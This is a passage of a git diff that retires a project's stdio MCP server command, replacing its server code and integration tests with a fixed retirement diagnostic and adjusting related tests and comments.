TextDecoder(); - let out = ''; - // Synchronize: wait for the initialize reply BEFORE seeding, which proves the - // server's startup open already ran against an absent db (null) — - // otherwise the test could seed first and pass without exercising the reopen. - proc.stdin.write(`${JSON.stringify(INIT)}\n`); - while (!out.includes('"serverInfo"')) { - const { value, done } = await reader.read(); - if (done) break; - out += decoder.decode(value, { stream: true }); - } - seed(repo); // create .genie/genie.db + tasks AFTER the startup open saw nothing - proc.stdin.write( - `${JSON.stringify({ jsonrpc: '2.0', id: 20, method: 'tools/call', params: { name: 'genie_board', arguments: {} } })}\n`, - ); - await proc.stdin.end(); - while (true) { - const { value, done } = await reader.read(); - if (done) break; - out += decoder.decode(value, { stream: true }); - } - await proc.exited; - const responses = out - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcResponse); - const res = responses.find((r) => r.id === 20); - expect(res?.result?.isError).toBe(false); - const payload = toolPayload<{ counts: { total: number } }>(res!); - expect(payload.counts.total).toBeGreaterThan(0); // saw the db created mid-session - }); -}); - -// ============================================================================ -// Write-capable open (Group 1 of wish mcp-write-tools): the server now serves -// against the hardened write path; the no-create and degrade guarantees hold. -// ============================================================================ - -describe('mcp write-capable open', () => { - /** - * True when THIS environment can express "a write-protected, fully-current WAL - * database still serves reads". Two ways it cannot: - * - running as root (some CI containers), where chmod never revokes write - * access, so the write-protected branch is not the one under test; - * - platforms whose SQLite refuses to open a write-protected WAL database - * read-only at all (Linux: SQLITE_READONLY_CANTINIT), where the asserted - * state simply does not exist. - * Mirrors the unit-level escape hatch in mcp-tools.test.ts. - */ - function writeProtectedReadsAreExpressible(dbPath: string): boolean { - try { - accessSync(dbPath, fsConstants.W_OK); - return false; // still writable (running as root) - } catch { - // write access revoked as intended — proceed to the readability probe - } - try { - const probe = new Database(dbPath, { readonly: true }); - try { - probe.query('SELECT 1 FROM tasks').get(); - return true; - } finally { - probe.close(); - } - } catch { - return false; // unreadable here — the scenario is inexpressible - } - } - - test('outside a git repo, tool calls fail closed and create neither .genie/ nor genie.db', async () => { - const plain = mkdtempSync(join(tmpdir(), 'genie-mcp-nonrepo-')); - try { - const responses = await driveMcp(plain, [ - INIT, - INITIALIZED, - { jsonrpc: '2.0', id: 19, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]); - const res = responses.find((r) => r.id === 19); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(true); - const payload = toolPayload<{ error: string }>(res!); - expect(payload.error).toBe('project-context-unavailable'); - // Resolver ordering (Decision 5): a non-ok context never reaches the - // write open, so no file or directory is created. - expect(existsSync(join(plain, '.genie'))).toBe(false); - expect(existsSync(join(plain, 'genie.db'))).toBe(false); - } finally { - rmSync(plain, { recursive: true, force: true }); - } - }); - - test('on a write-protected fully-current db, all 5 read tools serve (strict validator intact)', async () => { - const { taskId } = seed(repo); - const dbPath = resolveDbPath(repo); - const sqlitePaths = [dbPath, `${dbPath}-wal`, `${dbPath}-shm`]; - const stateDir = dirname(dbPath); - const originalModes = new Map<string, number>(); - const mutatedModes = new Set<string>(); - const cleanupErrors: unknown[] = []; - let testError: unknown; - - try { - for (const path of sqlitePaths) { - if (!existsSync(path)) continue; - originalModes.set(path, statSync(path).mode & 0o777); - mutatedModes.add(path); - chmodSync(path, 0o444); - } - originalModes.set(stateDir, statSync(stateDir).mode & 0o777); - mutatedModes.add(stateDir); - chmodSync(stateDir, 0o555); - - if (!writeProtectedReadsAreExpressible(dbPath)) return; // see the helper - - const calls = [ - { id: 21, name: 'genie_board', arguments: {} }, - { id: 22, name: 'genie_wish_status', arguments: { wish: 'genie-mcp' } }, - { id: 23, name: 'genie_worktree_context', arguments: { branch: 'main' } }, - { id: 24, name: 'genie_task', arguments: { id: taskId } }, - { id: 25, name: 'genie_active', arguments: {} }, - ]; - const responses = await driveMcp(repo, [ - INIT, - INITIALIZED, - ...calls.map((c) => ({ - jsonrpc: '2.0', - id: c.id, - method: 'tools/call', - params: { name: c.name, arguments: c.arguments }, - })), - ]); - for (const c of calls) { - const res = responses.find((r) => r.id === c.id); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(false); - expect(toolPayload<Record<string, unknown>>(res!)).not.toHaveProperty('error'); - } - const board = toolPayload<{ counts: { total: number } }>(responses.find((r) => r.id === 21)!); - expect(board.counts.total).toBe(2); // the fully-current db's real state - } catch (error) { - testError = error; - } finally { - for (const path of [stateDir, ...sqlitePaths]) { - if (!mutatedModes.has(path)) continue; - try { - chmodSync(path, originalModes.get(path)!); - } catch (error) { - cleanupErrors.push(error); - } - } - } - if (testError !== undefined && cleanupErrors.length > 0) { - throw new AggregateError([testError, ...cleanupErrors], 'MCP write-capable proof failed and cleanup incomplete'); - } - if (testError !== undefined) throw testError; - if (cleanupErrors.length > 0) throw new AggregateError(cleanupErrors, 'Failed to restore write-protected fixture'); - }); - - test('a session whose first write open failed recovers writes as soon as the filesystem is repaired', async () => { - const { taskId } = seed(repo); - const dbPath = resolveDbPath(repo); - const sqlitePaths = [dbPath, `${dbPath}-wal`, `${dbPath}-shm`].filter((p) => existsSync(p)); - const stateDir = dirname(dbPath); - const originalModes = new Map<string, number>([ - ...sqlitePaths.map((p) => [p, statSync(p).mode & 0o777] as const), - [stateDir, statSync(stateDir).mode & 0o777], - ]); - let repaired = false; - const repair = (): void => { - if (repaired) return; - repaired = true; - chmodSync(stateDir, originalModes.get(stateDir)!); - for (const path of sqlitePaths) chmodSync(path, originalModes.get(path)!); - }; - - for (const path of sqlitePaths) chmodSync(path, 0o444); - chmodSync(stateDir, 0o555); - try { - try { - accessSync(dbPath, fsConstants.W_OK); - return; // running as root — the degrade is inexpressible here - } catch { - // write access revoked as intended — proceed - } - const comment = (id: number) => ({ - jsonrpc: '2.0', - id, - method: 'tools/call', - params: { name: 'genie_task_comment', arguments: { id: taskId, text: `note ${id}` } }, - }); - // Two writes on ONE server: the first while the db cannot be written, the - // second after the modes are restored between them. - const responses = await driveMcpStaged(repo, [INIT, INITIALIZED, comment(41)], 2, repair, [comment(42)]); - - // The first write fails typed — read_only_database where the degraded - // handle still serves reads, project-database-unavailable on platforms - // that cannot open a write-protected WAL db at all. - const before = responses.find((r) => r.id === 41); - expect(before?.error).toBeUndefined(); - expect(before?.result?.isError).toBe(true); - expect(['read_only_database', 'project-database-unavailable']).toContain( - toolPayload<{ error: string }>(before!).error, - ); - // The second write succeeds on the SAME server: nothing latched. - const after = responses.find((r) => r.id === 42); - expect(after?.error).toBeUndefined(); - expect(after?.result?.isError).toBe(false); - expect(toolPayload<{ taskId: string }>(after!).taskId).toBe(taskId); - } finally { - repair(); - } - }); -}); -// ============================================================================ -// E2e stdio round-trip (Group 3 of wish mcp-write-tools): ONE spawned `genie -// mcp` process serves a real client session — initialize → tools/list (5 read + -// 12 write) → create → checkout → done — and genie_board reflects the terminal -// state; a follow-up `genie task sync` publishes the card to the tracked -// .genie/roadmap.json snapshot. -// ============================================================================ - -describe('mcp e2e round-trip', () => { - test('create → checkout → done lands on genie_board and task sync publishes the card', async () => { - // Seed a current, empty db so the server opens against a healthy repo - // (the round trip itself must create the card via the write tools). - const db = openDb({ cwd: repo }); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { - cwd: repo, - stdin: 'pipe', +describe('genie mcp retirement', () => { + test('returns the stable non-zero retirement diagnostic without speaking MCP', () => { + const result = Bun.spawnSync(['bun', GENIE, 'mcp'], { + stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), stdout: 'pipe', stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - const reader = proc.stdout.getReader(); - const decoder = new TextDecoder(); - let out = ''; - const completed = (): RpcResponse[] => - out - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcResponse); - - proc.stdin.write(`${JSON.stringify(INIT)}\n`); - proc.stdin.write(`${JSON.stringify(INITIALIZED)}\n`); - proc.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list' })}\n`); - proc.stdin.write( - `${JSON.stringify({ - jsonrpc: '2.0', - id: 71, - method: 'tools/call', - params: { name: 'genie_task_create', arguments: { title: 'e2e card', wish: 'mcp-e2e', group: 'g3' } }, - })}\n`, - ); - // Read until the create response arrives; the server stays alive because - // stdin is still open, so the rest of the round trip shares this session. - while (!completed().some((r) => r.id === 71)) { - const { value, done } = await reader.read(); - if (done) break; - out += decoder.decode(value, { stream: true }); - } - const created = completed().find((r) => r.id === 71); - expect(created, 'genie_task_create response missing').toBeDefined(); - expect(created!.result?.isError).toBe(false); - const taskId = toolPayload<{ task: { id: string; status: string } }>(created!).task.id; - expect(toolPayload<{ task: { status: string } }>(created!).task.status).toBe('ready'); - - // Same-session tools/list: 5 read + 12 write tools. - const list = completed().find((r) => r.id === 2); - expect(list, 'tools/list response missing').toBeDefined(); - const names = (list!.result?.tools as Array<{ name: string }>).map((t) => t.name); - expect(names).toHaveLength(17); - const nameSet = new Set(names); - for (const read of ['genie_board', 'genie_wish_status', 'genie_worktree_context', 'genie_task', 'genie_active']) { - expect(nameSet.has(read)).toBe(true); - } - for (const write of [ - 'genie_task_create', - 'genie_task_checkout', - 'genie_task_done', - 'genie_task_move', - 'genie_task_block', - 'genie_task_unblock', - 'genie_task_release', - 'genie_task_comment', - 'genie_task_report', - 'genie_task_heartbeat', - 'genie_task_set_wish', - 'genie_task_add_dependency', - ]) { - expect(nameSet.has(write)).toBe(true); - } - - proc.stdin.write( - `${JSON.stringify({ - jsonrpc: '2.0', - id: 72, - method: 'tools/call', - params: { name: 'genie_task_checkout', arguments: { id: taskId, worker: 'g3-worker' } }, - })}\n`, - ); - proc.stdin.write( - `${JSON.stringify({ - jsonrpc: '2.0', - id: 73, - method: 'tools/call', - params: { name: 'genie_task_done', arguments: { id: taskId } }, - })}\n`, - ); - proc.stdin.write( - `${JSON.stringify({ jsonrpc: '2.0', id: 74, method: 'tools/call', params: { name: 'genie_board', arguments: {} } })}\n`, - ); - await proc.stdin.end(); - while (true) { - const { value, done } = await reader.read(); - if (done) break; - out += decoder.decode(value, { stream: true }); - } - await proc.exited; - - const checkout = completed().find((r) => r.id === 72)!; - expect(checkout.result?.isError).toBe(false); - expect(toolPayload<{ task: { status: string; claimedBy: string } }>(checkout).task).toMatchObject({ - status: 'in_progress', - claimedBy: 'g3-worker', + env: { ...process.env, NO_COLOR: '1' }, }); - const done = completed().find((r) => r.id === 73)!; - expect(done.result?.isError).toBe(false); - expect(toolPayload<{ task: { status: string } }>(done).task.status).toBe('done'); - - const board = completed().find((r) => r.id === 74)!; - expect(board.result?.isError).toBe(false); - const boardPayload = toolPayload<{ - counts: Record<string, number>; - tasks: Array<{ id: string; title: string; status: string; wish: string }>; - }>(board); - expect(boardPayload.counts).toEqual({ blocked: 0, ready: 0, in_progress: 0, done: 1, total: 1 }); - expect(boardPayload.tasks).toContainEqual( - expect.objectContaining({ id: taskId, title: 'e2e card', status: 'done', wish: 'mcp-e2e' }), - ); - - // Follow-up: the CLI's snapshot publication path (also the husky hook) now - // writes the card into the tracked .genie/roadmap.json. - const genieHome = mkdtempSync(join(tmpdir(), 'genie-mcp-ghome-')); - try { - const sync = Bun.spawnSync(['bun', GENIE, 'task', 'sync'], { - cwd: repo, - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1', GENIE_HOME: genieHome }, - }); - expect(sync.exitCode, `task sync failed: ${sync.stderr.toString()}`).toBe(0); - const roadmapPath = join(repo, '.genie', 'roadmap.json'); - expect(existsSync(roadmapPath)).toBe(true); - const snapshot = JSON.parse(readFileSync(roadmapPath, 'utf-8')) as { - tasks: Array<{ id: string; title: string; status: string }>; - }; - expect(snapshot.tasks).toContainEqual(expect.objectContaining({ id: taskId, title: 'e2e card', status: 'done' })); - } finally { - rmSync(genieHome, { recursive: true, force: true }); - } - }); -}); - -describe('mcp worktree branch resolution', () => { - test('disambiguates a hyphenated wish slug against known wishes', async () => { - seed(repo); // wish 'genie-mcp' (slug has a hyphen), groups g1/g2, a task in g2 - // Top-level `wish/genie-mcp` must resolve to the genie-mcp wish (group null), - // NOT a mis-split `genie` wish with an `mcp` group. - const top = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 30, - method: 'tools/call', - params: { name: 'genie_worktree_context', arguments: { branch: 'wish/genie-mcp' } }, - }, - ]); - const topP = toolPayload<{ resolved: boolean; wish: string; group: string | null }>(top.find((r) => r.id === 30)!); - expect(topP.resolved).toBe(true); - expect(topP.wish).toBe('genie-mcp'); - expect(topP.group).toBeNull(); - - // A group branch `wish/genie-mcp-g2` → genie-mcp / g2 (last-dash is correct here). - const grp = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 31, - method: 'tools/call', - params: { name: 'genie_worktree_context', arguments: { branch: 'wish/genie-mcp-g2' } }, - }, - ]); - const grpP = toolPayload<{ wish: string; group: string | null }>(grp.find((r) => r.id === 31)!); - expect(grpP.wish).toBe('genie-mcp'); - expect(grpP.group).toBe('g2'); - }); - - test('an exact known slug wins when no live wish_groups can verify a launch worktree', async () => { - // No wish-group rows exist (the machinery is production-dead), so a `genie` - // wish with an `mcp` group AND a separate `genie-mcp` wish collide on - // `wish/genie-mcp` — the exact known slug wins, group unverifiable (null). - const db = openDb({ cwd: repo }); - const board = createBoard(db, 'repo'); - createTask(db, { title: 'a', boardId: board.id, wish: 'genie', group: 'mcp' }); - createTask(db, { title: 'b', boardId: board.id, wish: 'genie-mcp', group: 'g1' }); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - const res = await driveMcp(repo, [ - INIT, - INITIALIZED, - { - jsonrpc: '2.0', - id: 32, - method: 'tools/call', - params: { name: 'genie_worktree_context', arguments: { branch: 'wish/genie-mcp' } }, - }, - ]); - const p = toolPayload<{ wish: string; group: string | null }>(res.find((r) => r.id === 32)!); - expect(p.wish).toBe('genie-mcp'); - expect(p.group).toBeNull(); - }); -}); - -// ============================================================================ -// Lazy-load probe — mcp-tools (the write-capable bun:sqlite open) must NOT be in the -// STATIC import graph reachable from genie.ts. It is only `await import`-ed -// inside the `mcp` action, so non-mcp paths (board/task/--help) never load it. -// ============================================================================ - -/** Value (non-type) static import/re-export specifiers in a source file. */ -function staticValueImports(file: string): string[] { - const src = readFileSync(file, 'utf-8'); - const specs: string[] = []; - // `import ... from '<spec>'` and `export ... from '<spec>'`, skipping the - // type-only forms (`import type` / `export type`) which are erased at runtime. - const re = /(?:^|\n)\s*(?:import|export)\s+(type\s+)?[^;'"]*?from\s+['"]([^'"]+)['"]/g; - let m: RegExpExecArray | null; - // biome-ignore lint/suspicious/noAssignInExpressions: standard regex exec loop - while ((m = re.exec(src)) !== null) { - if (m[1]) continue; // `type` import — erased, no runtime load - specs.push(m[2]); - } - // Bare side-effect imports: `import '<spec>'`. - const sideEffect = /(?:^|\n)\s*import\s+['"]([^'"]+)['"]/g; - // biome-ignore lint/suspicious/noAssignInExpressions: standard regex exec loop - while ((m = sideEffect.exec(src)) !== null) specs.push(m[1]); - return specs; -} - -/** Files transitively reachable via STATIC value imports from `entry`. */ -function reachableFrom(entry: string): Set<string> { - const seen = new Set<string>(); - const stack = [entry]; - while (stack.length > 0) { - const file = stack.pop() as string; - if (seen.has(file)) continue; - seen.add(file); - for (const spec of staticValueImports(file)) { - if (!spec.startsWith('.')) continue; // external / node: — not our source graph - const target = resolve(dirname(file), spec.replace(/\.js$/, '.ts')); - stack.push(target); - } - } - return seen; -} - -describe('mcp lazy-load probe', () => { - test('mcp-tools.ts is NOT statically reachable from genie.ts', () => { - const reachable = reachableFrom(join(SRC_ROOT, 'genie.ts')); - const mcpTools = join(SRC_ROOT, 'lib', 'v5', 'mcp-tools.ts'); - expect(reachable.has(mcpTools)).toBe(false); - // Sanity: the lightweight registration module IS eagerly loaded (expected). - expect(reachable.has(join(SRC_ROOT, 'term-commands', 'mcp.ts'))).toBe(true); + expect(result.exitCode).toBe(1); + expect(result.stdout.toString()).toBe(''); + expect(result.stderr.toString()).toBe(RETIRED_DIAGNOSTIC); }); - test('mcp.ts loads bun:sqlite / mcp-tools only via dynamic import()', () => { - const src = readFileSync(join(SRC_ROOT, 'term-commands', 'mcp.ts'), 'utf-8'); - // No static value import of the tools module or bun:sqlite. - expect(src).not.toMatch(/(?:^|\n)\s*import\s+\{[^}]*\}\s+from\s+['"]\.\.\/lib\/v5\/mcp-tools/); - expect(src).not.toMatch(/from\s+['"]bun:sqlite['"]/); - // The tools ARE reached, via a dynamic import inside the action. - expect(src).toMatch(/await import\(['"]\.\.\/lib\/v5\/mcp-tools\.js['"]\)/); + test('documents retirement in command help', () => { + const result = Bun.spawnSync(['bun', GENIE, 'mcp', '--help'], { stdout: 'pipe', stderr: 'pipe' }); + expect(result.exitCode).toBe(0); + expect(result.stdout.toString()).toContain('retired'); }); }); diff --git a/src/term-commands/mcp.ts b/src/term-commands/mcp.ts index d08ee50c5..a10461e97 100644 --- a/src/term-commands/mcp.ts +++ b/src/term-commands/mcp.ts @@ -1,95 +1,14 @@ -/** - * genie mcp — a hand-rolled, zero-dependency stdio MCP server exposing the v5 - * `.genie/genie.db` state with 5 read tools + 12 operative write tools. - * - * Transport (per SPIKE.md, verdict "hand-rolled"): newline-delimited JSON-RPC - * 2.0 — one JSON object per line on stdin/stdout. NOT LSP `Content-Length` - * framing. Speaks MCP protocol `2024-11-05`, confirmed against real Claude Code - * and Warp's bundled schema. The transport loop itself now lives in the shared - * `../lib/v5/mcp-server.js` (extracted so `genie ui-bridge` reuses it verbatim); - * this command wires the read + write tools + the fixed initialize reply into it, - * unchanged on the wire. - * - * LAZY-LOAD contract: this module statically imports ONLY commander types and - * the version string. The write-capable `bun:sqlite` open, the tool - * implementations, and the server loop are `await import`-ed inside the command - * action — so `genie board`/`task`/`--help` never load them. `mcp.test.ts` - * locks this via an import-graph probe. - * - * The stdio protocol writes ARE the server's output by design — not stray - * logging — so they satisfy biome's no-console rule. - */ - import type { Command } from 'commander'; -import { VERSION } from '../lib/version.js'; - -const PROTOCOL_VERSION = '2024-11-05'; - -// ============================================================================ -// Server run loop -// ============================================================================ - -/** - * Drive the stdio MCP server until stdin closes. Loads the tools + shared - * transport loop lazily (keeping them out of the genie startup import graph) - * and configures the loop with the fixed initialize reply and the five read + - * twelve write tools. - */ -export async function runMcpServer(): Promise<void> { - // Lazy: the write-capable bun:sqlite open + tools load here, not at genie startup. - const mcpTools = await import('../lib/v5/mcp-tools.js'); - const { - isCurrentGenieDb, - isDegradedReadonlyDb, - MCP_TOOLS, - MCP_WRITE_TOOLS, - openDegradedReadonlyDb, - openWriteableDb, - resolveProjectContext, - } = mcpTools; - const { runMcpServerLoop } = await import('../lib/v5/mcp-server.js'); - await runMcpServerLoop({ - // MCP_TOOLS stays the read registry ui-bridge splices; the operative write - // tools are a separate export so the two surfaces never drift together. - tools: [...MCP_TOOLS, ...MCP_WRITE_TOOLS], - // Write-capable open through the standard hardened CLI write path - // (binding revalidation → openDb): the server now mutates .genie/genie.db - // exactly like `genie task`. Every throw is translated to the loop's null - // contract; when the write is impossible (write-protected file/filesystem), - // openWriteableDb degrades to the readonly healing open and the strict - // validator below adjudicates — a fully-current db keeps serving reads. - openDb: openWriteableDb, - openReadonlyDb: openDegradedReadonlyDb, - validateReadonlyDb: isCurrentGenieDb, - // A degrade must not outlive the condition that caused it: while the held - // handle is read-only the loop retries the write open per call and promotes - // the moment it succeeds, so repairing the filesystem restores the write - // tools without restarting the server. - isDegradedHandle: isDegradedReadonlyDb, - // Fail-closed: missing repository context / genie.db / unsupported layouts - // surface as a typed MCP error instead of a healthy-looking empty board. - resolveContext: resolveProjectContext, - // Fixed reply that ignores the client's declared version — `genie mcp` does - // NOT negotiate. Key order pinned for byte-identical output. - initialize: () => ({ - result: { - protocolVersion: PROTOCOL_VERSION, - capabilities: { tools: {} }, - serverInfo: { name: 'genie', version: VERSION }, - }, - }), - }); -} -// ============================================================================ -// Registration (the single line in genie.ts calls this) -// ============================================================================ +export const MCP_RETIRED_DIAGNOSTIC = + 'Error: genie mcp has been retired; use `genie task` and `genie board`, or roll back to a pre-A7 signed release.'; export function registerMcpCommand(program: Command): void { program .command('mcp') - .description('Run a stdio MCP server exposing genie.db task/board state (read + write tools)') - .action(async () => { - await runMcpServer(); + .description('Report that the legacy Genie MCP server is retired') + .action(() => { + process.stderr.write(`${MCP_RETIRED_DIAGNOSTIC}\n`); + process.exitCode = 1; }); } diff --git a/src/term-commands/ui-bridge.test.ts b/src/term-commands/ui-bridge.test.ts index f6369faad..d8c953092 100644 --- a/src/term-commands/ui-bridge.test.ts +++ b/src/term-commands/ui-bridge.test.ts @@ -468,54 +468,19 @@ describe('ui-bridge lifetime', () => { }); }); -// ============================================================================ -// Success Criterion 6 — genie mcp unchanged by the plumbing extraction -// ============================================================================ - -describe('genie mcp regression (unchanged by extraction)', () => { - test('initialize response is byte-for-byte the pinned read-only reply', async () => { - const [res] = await driveOnce('mcp', repo, [ - { jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2024-11-05' } }, - ]); - const result = res.result as Record<string, unknown>; - // Pin the exact shape + key order the read-only server has always sent. - expect(Object.keys(result)).toEqual(['protocolVersion', 'capabilities', 'serverInfo']); - expect(result.protocolVersion).toBe('2024-11-05'); - expect(result.capabilities).toEqual({ tools: {} }); - const serverInfo = result.serverInfo as { name: string; version: string }; - expect(serverInfo.name).toBe('genie'); - // Read-only server never advertises the bridge fields. - expect(result.bridgeProtocolVersion).toBeUndefined(); - expect(result.genieVersion).toBeUndefined(); - }); +describe('genie mcp retirement remains separate from ui-bridge', () => { + test('rejects MCP input with the stable diagnostic instead of starting a server', () => { + const invocation = Bun.spawnSync([process.execPath, GENIE, 'mcp'], { + cwd: repo, + stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), + stdout: 'pipe', + stderr: 'pipe', + }); - test('registers exactly the 17-tool surface (5 read + 12 write) and no roster tools', async () => { - const responses = await driveOnce('mcp', repo, [ - { jsonrpc: '2.0', id: 1, method: 'initialize', params: {} }, - { jsonrpc: '2.0', id: 2, method: 'tools/list' }, - ]); - const tools = responses.find((r) => r.id === 2)?.result?.tools as Array<{ name: string }>; - const names = tools.map((t) => t.name).sort(); - expect(names).toEqual([ - 'genie_active', - 'genie_board', - 'genie_task', - 'genie_task_add_dependency', - 'genie_task_block', - 'genie_task_checkout', - 'genie_task_comment', - 'genie_task_create', - 'genie_task_done', - 'genie_task_heartbeat', - 'genie_task_move', - 'genie_task_release', - 'genie_task_report', - 'genie_task_set_wish', - 'genie_task_unblock', - 'genie_wish_status', - 'genie_worktree_context', - ]); - // No roster_* tool leaked into the genie mcp server (bridge-only surface). - expect(names.some((n) => n.startsWith('roster_'))).toBe(false); + expect(invocation.exitCode).toBe(1); + expect(invocation.stdout.toString()).toBe(''); + expect(invocation.stderr.toString()).toBe( + 'Error: genie mcp has been retired; use `genie task` and `genie board`, or roll back to a pre-A7 signed release.\n', + ); }); }); diff --git a/src/term-commands/ui-bridge.ts b/src/term-commands/ui-bridge.ts index 5fe2e7b2f..b4714b67d 100644 --- a/src/term-commands/ui-bridge.ts +++ b/src/term-commands/ui-bridge.ts @@ -2,7 +2,7 @@ * genie ui-bridge — the UI-owned stdio channel into CLI-only genie. * * A long-lived stdio MCP server the separate-repo genie UI (the dash fork) - * spawns and OWNS: it reuses `genie mcp`'s newline-JSON-RPC transport + five + * spawns and OWNS: it retains the shared newline-JSON-RPC transport + five * read tools, and ADDS the net-new surface — a version-negotiating `initialize` * handshake, two roster write tools (`roster_hire` / `roster_unhire`) calling * genie's own `task-state.ts` code, and change-push notifications driven by an @@ -12,7 +12,7 @@ * Contract: `src/lib/v5/UI-BRIDGE.md` (protocol version, tools, notifications, * skew policy, lifetime). * - * LAZY-LOAD contract: like `genie mcp`, the shared mcp-tools registry + * LAZY-LOAD contract: the shared read-tool registry * (write-capable open + read registry) is `await import`-ed inside the action, * so it never enters the genie startup import graph. The transport loop, * watcher, and state ops are ordinary static imports (none pulls in diff --git a/tests/integration/codex-cross-version-update.test.ts b/tests/integration/codex-cross-version-update.test.ts deleted file mode 100644 index 3a96d389f..000000000 --- a/tests/integration/codex-cross-version-update.test.ts +++ /dev/null @@ -1,58 +0,0 @@ -import { afterEach, describe, expect, test } from 'bun:test'; -import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { validateLiveDogfoodEvidenceFile } from '../../scripts/validate-live-dogfood-evidence.js'; -import { FIXTURE_N, FIXTURE_T, buildDogfoodFixture } from '../support/codex-dogfood-fixture.js'; -import { runDogfoodEntry } from '../support/codex-dogfood-harness.js'; - -let root: string | null = null; -afterEach(() => { - if (root !== null) rmSync(root, { recursive: true, force: true }); - root = null; -}); - -describe('parameterized previous-release to candidate dogfood entry', () => { - test('verified N remains active through repair, then exact T activates and emits reusable evidence', async () => { - root = mkdtempSync(join(tmpdir(), 'genie-dogfood-cross-version-')); - const fixture = buildDogfoodFixture(root); - const result = await runDogfoodEntry(fixture.input, fixture.dependencies); - const lifecycle = result.manifest.lifecycle as Record<string, any>; - expect(lifecycle.previousVersion).toBe(FIXTURE_N); - expect(lifecycle.candidateVersion).toBe(FIXTURE_T); - expect(lifecycle.stages[1].activeVersion).toBe(FIXTURE_N); - expect(lifecycle.stages[2]).toMatchObject({ - id: 't-delivery-repair', - exit: 2, - activeVersion: FIXTURE_N, - trailer: { code: 'activation-pending', deliveryComplete: true }, - }); - expect(lifecycle.stages[3]).toMatchObject({ id: 'activation-consent', activeVersion: FIXTURE_T }); - expect(lifecycle.delivery).toMatchObject({ - targetVersion: FIXTURE_T, - platformId: fixture.input.platformId, - artifactSha256: lifecycle.artifacts.candidate.artifactSha256, - installedBinarySha256: lifecycle.artifacts.candidate.binarySha256, - canonicalPayloadSha256: lifecycle.artifacts.candidate.payloadSha256, - }); - expect(result.doctor.integrationSummary).toMatchObject({ - schemaVersion: 1, - codexPlugin: { - state: 'current', - installedVersion: FIXTURE_T, - targetVersion: FIXTURE_T, - deliveryComplete: true, - }, - }); - const evidencePath = fixture.input.outputEvidence as string; - expect(validateLiveDogfoodEvidenceFile(evidencePath, join(evidencePath, '..'))).toEqual([]); - expect(readFileSync(evidencePath, 'utf8')).toContain('"evidenceKind": "verified-local-fixture"'); - }, 120_000); - - test('an unavailable or mismatched artifact fails before evidence is emitted', async () => { - root = mkdtempSync(join(tmpdir(), 'genie-dogfood-cross-version-fail-')); - const fixture = buildDogfoodFixture(root); - fixture.input.candidate.artifact = join(root, 'missing.tar.gz'); - await expect(runDogfoodEntry(fixture.input, fixture.dependencies)).rejects.toThrow(/unavailable/); - }); -}); diff --git a/tests/integration/codex-lifecycle-pty.test.ts b/tests/integration/codex-lifecycle-pty.test.ts index 883d9b49f..255a64011 100644 --- a/tests/integration/codex-lifecycle-pty.test.ts +++ b/tests/integration/codex-lifecycle-pty.test.ts @@ -42,7 +42,6 @@ const REPO_ROOT = join(import.meta.dir, '..', '..'); const PRODUCTION_GENIE_CLI = join(REPO_ROOT, 'src', 'genie.ts'); const LIFECYCLE_TEST_RUNNER = join(REPO_ROOT, 'tests', 'support', 'codex-lifecycle-test-runner.ts'); const REAL_SESSION_CONTEXT = join(REPO_ROOT, 'plugins', 'genie', 'scripts', 'session-context.cjs'); -const REAL_MCP_LAUNCHER = join(REPO_ROOT, 'plugins', 'genie', 'scripts', 'mcp-launcher.cjs'); const REAL_CODEX_AGENTS = join(REPO_ROOT, 'plugins', 'genie', 'codex-agents'); const REAL_SKILLS = join(REPO_ROOT, 'plugins', 'genie', 'skills'); const TARGET = '5.260722.1'; @@ -91,7 +90,6 @@ beforeAll(() => { mkdirSync(join(payload, 'scripts'), { recursive: true }); mkdirSync(join(payload, 'hooks'), { recursive: true }); cpSync(REAL_SESSION_CONTEXT, join(payload, 'scripts', 'session-context.cjs')); - cpSync(REAL_MCP_LAUNCHER, join(payload, 'scripts', 'mcp-launcher.cjs')); cpSync(REAL_CODEX_AGENTS, join(payload, 'codex-agents'), { recursive: true }); cpSync(REAL_SKILLS, join(payload, 'skills'), { recursive: true }); writeFileSync(join(payload, 'README.md'), 'genie codex payload\n'); @@ -413,7 +411,7 @@ describe.skipIf(!CAN_PTY)('codex lifecycle over a real PTY (Group E deliverable expect(quarantinedSiblings.length).toBe(1); }, 180_000); - test('stage 7 — route collision and nested shadowing are typed doctor failures, never green', () => { + test('stage 7 — preserved route collision and nested shadowing are typed doctor warnings, never green', () => { // Unmanaged same-key route: replace the project config with a user-owned one. const projectConfig = join(repo, '.codex', 'config.toml'); mkdirSync(join(repo, '.codex'), { recursive: true }); @@ -422,8 +420,14 @@ describe.skipIf(!CAN_PTY)('codex lifecycle over a real PTY (Group E deliverable try { const collision = doctorJson(); const route = collision.json.checks.find((check) => check.name === 'Codex Genie MCP registration'); - expect(route?.status).toBe('fail'); - expect(JSON.stringify(route?.routeLayers ?? [])).toContain('route-collision'); + expect(route?.status).toBe('warn'); + expect(route?.detail).toContain('retired route remains preserved'); + expect(route?.routeLayers).toContainEqual( + expect.objectContaining({ + kind: 'route-collision', + detail: expect.stringContaining('user-owned [mcp_servers.genie] project route is preserved'), + }), + ); } finally { if (prior === null) rmSync(projectConfig); else writeFileSync(projectConfig, prior); @@ -436,8 +440,8 @@ describe.skipIf(!CAN_PTY)('codex lifecycle over a real PTY (Group E deliverable try { const shadowed = doctorJson({ 